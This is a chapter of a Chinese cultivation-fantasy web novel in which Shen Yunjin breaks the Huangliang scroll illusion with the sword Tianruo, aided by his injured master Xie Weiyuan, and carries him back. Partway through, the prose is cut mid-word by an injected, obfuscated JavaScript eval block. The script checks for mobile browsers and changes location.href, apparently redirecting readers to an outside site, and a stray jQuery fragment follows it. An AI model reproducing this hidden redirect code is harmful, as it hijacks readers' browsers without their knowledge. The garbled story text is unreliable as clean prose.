沈云烬握住剑柄,蹙着眉。
“天若”微微颤动,金光四溢。
季云澜的目光落在一旁的神工笔上。
——沈江临的肉身魂飞魄散,神工笔却遗落了下来。
他捡起那支古木笔道:“这笔倒是害人不浅,鹿仙因其绘不出神女而忧思成疾,沈江临也因此执念成魔。斯人如逝水,纵是神灵亦不可转。”
“倒不如……早些珍惜眼前人,也免得这一遭颠沛流离。”
季云澜悠悠叹息一声,也不知在思索什么。
眼前的剑光愈发瑟然,发出啸动的嘶鸣。
“它是想提醒我们什么?”谢微远目光一滞。
“或许可以试着用它劈开黄粱卷幻境。”沈云烬道。
“上古神器,总不至于一个邪修炼化的法器都劈不开。”
沈云烬将神印之力注入天若,剑光立斩而下。
“砰”的一声,幻境开始有所震动,却并没有立即消散,晃动的尘埃溅落而下,如九天飞瀑,不过片刻,又归于岑寂。
谢微远不解:“这黄粱卷幻境当真如此厉害?竟是连天若剑都劈不开。”
忽然,天若剑魂似乎终于挣脱某种束缚,出声答道:“当然劈不开,天若如今裂了一半剑魂,早就不似三万年前那般强悍。”
沈云烬沉沉看着它:“裂了一半……这么说你有两个魂魄?”
“天若本是以双生剑魂登鼎天下灵武之首,现在只剩我一个,实力已经折损大半,开不了这黄粱卷,不然我也不会被沈江临困在此处这么久。”
“你的另一半剑魂呢?”
天若顿了一顿:“不知道,或许会有归来的一天。”
谢微远闻言思忖:“那你可还剖得开神印?”
天若嗤笑一声:“也就是修真界那些妖人道士胡编乱造,神印可是缔结于心,同魂而生。世间无人,更无灵武能将其取出。”
沈云烬淡淡扫他一眼:“既是如此……你可知如何破除黄粱卷的梦境?”
“或许可以试试以其他灵武代替另一半剑魂。”它顿了顿:“天若剑乃水火双生剑魂,唯有水灵根的灵武可以代替。”
沈云烬心头一跳,谢微远不就是水灵根……
他目光落在那人的白衣上,此时云隐笛正沉寂在对方腰间,闪着淡若的幽光。
天若又补充道:“不过,以灵武融剑魂的方法很凶险,一旦另一半剑魂有异或是融合不了,便会反噬天若,持剑之人也会因此被重创,轻则经脉受损,重则灵根尽毁。”
一时间话音落了半晌,沈云烬又有些犹豫,将自己的性命交诸给一个有仇怨的人身上,怕是谁也没办法立下决心。
“没有别的办法了吗?”他问道。
“……只能如此一试。”
季云澜攥着衣袍站在一旁,咬着唇,不知在思量什么。
倒是谢微远没什么心理负担,他取下云隐笛:“那便快些开始吧。”
“等等……”沈云烬忽然开口,却不知该说些什么,他难道说自己不信谢微远吗,可又有什么办法,如今已经走入绝境,若不信他便一丝生机也无。
“怎么了?”谢微远不解看着他,忽然,他像是顿悟一般,目光凛冽起来,空气中的气氛瞬间凝为实质:“你不信我。”
那人沉了片刻,浑身像是冷上不少,说话又恢复从前的凌厉:“随你,若你不信我,就让季云澜来吧。”
谢微远的眼神冷色,竟要将云隐笛放入季云澜手中。
沈云烬五指攥紧,他心底挣扎着,判断着,又有些恍惚,不知道哪一个是正确的答案。
这些日子论心来说,谢微远待他并不差。
但这些年,从成为谢微远弟子开始,他无一日不痛恨这人。
可是那人却总在他被扇惯耳光时,给他塞了一块甜枣蜜饯。
沈云烬本不想稀罕这点蜜饯,但又极度渴望……
“师尊。”他沉吟片刻,忽然响亮亮地喊出一声,心底的压抑犹豫像是被这一声彻底喊出来了一般,
季云澜本已经接过云隐笛,听着他这声,恍然滞住半瞬,而后莞尔一笑道:“那还是让师尊来吧,这云隐笛终归是师尊的灵武,未必肯信服于我。”
谢微远被他这莫名其妙的一声震住,看向沈云烬。
沈云烬也不知道自己为什么鬼迷心窍,于是转过身,不想让谢微远看见自己的脸色。
两人不再多言,沈云烬用指尖一丛神力为天若镀上一层微光,他闭着眼,纵身于天地恍然梦境之中。
不多时,身后传起一阵清越的笛声,如在沈家府宅中一般,在重重劫火中包裹住沈云烬,他的身躯微微发颤,感受着千丝万缕的水灵在他的身侧席卷而来。
他忽然一顿,这气息……
似乎是在哪个不知真假的梦境闻到过。
沈云烬不敢再细想下去,他又屏息凝神,借着水灵填补天若剑魂的一瞬,将剑光结结实实地劈下去。
此音入太虚,此剑破万身。
梦境,千块万块地碎裂在眼前,带着天地轰塌的嘶鸣,重重叠叠地落下,黄粱卷残卷抖落的余晖震得他们眼眶生疼。
再次如坠实体时,眼前物皆化作过往尘埃,他们已经回到九幽门中。
“师尊!”季云澜一声惊呼之后,笛音骤然停歇。
沈云烬心中一颤,慌忙转过身看向身后人,却发现谢微远此时竟是连云隐笛都拿不稳,任由其掉落在地。
云隐笛黯淡无光,在地上咕噜咕噜滚落着,和它的主人一样失去了往日神采光华。
谢微远跪倒在地,嘴角渗出一道血意,他连着两次在黄粱卷中强行突破禁制,灵根已是受到重创。
但谢微远不肯晕过去,他仍旧倔挺着,捂住疼痛的心口。
沈云烬不再犹豫,走到谢微远面前,将那人拦腰抱起。
他刚刚站起身,便感受到谢微远的抗拒。
沈云烬垂下眸,谢微远那双桃花眼正半阖着,看起来很是虚弱无力,却还腾出气力要推开沈云烬。
“放开我,我能自己走。”谢微远强撑着想挣脱沈云烬。
“你受伤了,别乱动。”沈云烬语气不耐,双手依然攥紧谢微远的衣袍。
怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879408|176333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中人好像在微微颤抖,入眼是他从未见过的脆弱与茫然。
气息沉转之间,他将自己的神印之力渡给谢微远。
却被谢微远忍着痛都要抗拒。
沈云烬蹙着眉,目光落在那人有些泛着红的眼尾。
他有些不解,谢微远怎么如此倔,明明都这样了,还要抗拒他。
“……我不要你。”谢微远欲言又止,最后抖着苍白的唇,别过脸,僵硬地说出一句。
他的声音有些颤抖憋闷,没有往日那般凌厉冷漠,也没有平日那般无懈可击,带着一点心悸和让人浮想联翩的柔软。
沈云烬气息沉了沉,可他的嘴很笨,不知道怎么安慰人。
于是思忖良久,又觉得自己先前那些话确实有些伤人,最后只干巴巴地说了一句:“……下次不会了。”
下次不会……了?
什么下次不会了?!!
他怎么有种幻视21世纪在大街上吵架闹脾气的情侣的感觉是怎么回事?
谢微远胸腔的沉闷忽然转成了气愤和恼怒,这样离谱的幻想让他起了一身鸡皮疙瘩,于是挣扎得愈发猛烈,就差一巴掌扇在沈云烬脸上。
一旁的季云澜劝道:“师尊,你的伤很严重,就别生沈师兄的气了。”
“……”
他感觉自己现在伤得更严重了,就差气得在地上吐上三升血。
好在他们出来的地方离云隐殿并不远,很快,沈云烬便抱着他走了进去。谢微远忙捂着面,生怕被一路上的人看到。
没办法,他还要脸……
守值弟子千年如一日地坐在门口打着瞌睡,感知到脚步声后,忙迷迷糊糊地站得笔直。
日头正旺,三人在他面前擦肩而过后,他才困顿地深深打了个哈欠。
而后,他忽然想起什么,猛地转过头看向几人离去的身影。
不是吧,他刚刚看见什么了?!
那不是凌华君和沈云烬吗?
刚刚是谁抱着谁来着?
……
平素心狠手辣的门主像朵小娇花一样被沈云烬抱在怀里?
这两人还能这样亲昵吗?
小弟子忙给了自己一巴掌,以为自己的青天白日梦还没做醒。
凌华君不把沈云烬抽成孙子都算是开大恩了。
不对不对……重点不应该是凌华君他们竟然破除黄粱卷梦境出来了吗?
他一下想通不少,自我安慰后猛拍了一下脑门,而后忙百米冲刺急速通报各位长老。
——
沈云烬这边刚刚将谢微远放在床榻上,却发现那人已经莫名睡着了,脸上还青一阵红一阵,看样子像是在做什么噩梦。
季云澜蹙眉,将被角给谢微远掖了掖。
“滚开!”
谢微远剑眉冷竖,闭着眼在睡梦中含糊蹦出一句。
季云澜被他这动静吓得往后一退。
于是沈云烬又上前,想看看谢微远伤势如何,结果那人竟又是一身怒喝:“你也滚开!”
这人到底梦到什么了?
沈云烬抿着唇,神色不明。